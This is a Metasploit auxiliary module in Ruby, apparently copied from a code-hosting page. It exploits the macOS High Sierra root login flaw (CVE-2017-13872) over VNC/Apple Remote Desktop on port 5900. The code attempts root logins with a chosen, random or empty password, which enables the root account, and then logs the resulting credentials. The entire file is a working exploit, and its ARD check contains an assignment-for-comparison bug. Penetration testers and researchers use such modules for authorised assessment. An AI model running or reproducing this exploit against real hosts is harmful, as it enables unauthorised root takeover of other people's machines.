114 lines
2.9 KiB
Ruby
114 lines
2.9 KiB
Ruby
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/proto/rfb'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Apple Remote Desktop Root Vulnerability',
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'Description' => 'Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.',
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'References' =>
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[
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['CVE', '2017-13872'],
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['URL', 'https://support.apple.com/en-us/HT208315']
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],
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'Author' => 'jgor',
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'License' => MSF_LICENSE
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)
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register_options(
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[
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Opt::RPORT(5900),
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OptString.new('PASSWORD', [false, 'Set root account to this password', ''])
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])
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end
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def log_credential(password)
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print_good("Login succeeded - root:#{password}")
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service_data = {
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address: target_host,
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port: rport,
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service_name: 'vnc',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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module_fullname: self.fullname,
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origin_type: :service,
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username: 'root',
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private_data: password,
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private_type: :password
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}.merge(service_data)
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credential_core = create_credential(credential_data)
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login_data = {
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core: credential_core,
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last_attempted_at: DateTime.now,
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status: Metasploit::Model::Login::Status::SUCCESSFUL
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def run_host(target_host)
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begin
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if datastore['PASSWORD'].empty?
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password = Rex::Text::rand_text_alphanumeric(16)
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else
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password = datastore['PASSWORD']
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end
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connect
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vnc = Rex::Proto::RFB::Client.new(sock)
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if vnc.handshake
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type = vnc.negotiate_authentication
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unless type = Rex::Proto::RFB::AuthType::ARD
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print_error("VNC server does not advertise security type ARD.")
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return
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end
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print_status("Attempting authentication as root.")
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if vnc.authenticate_with_type(type, 'root', password)
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log_credential(password)
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return
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end
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end
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disconnect
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connect
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vnc = Rex::Proto::RFB::Client.new(sock)
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print_status("Testing login as root with chosen password.")
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if vnc.handshake
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if vnc.authenticate_with_user('root', password)
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log_credential(password)
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return
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end
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end
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disconnect
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connect
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vnc = Rex::Proto::RFB::Client.new(sock)
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print_status("Testing login as root with empty password.")
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if vnc.handshake
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if vnc.authenticate_with_user('root', '')
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log_credential('')
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return
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end
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end
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ensure
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disconnect
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end
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end
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end
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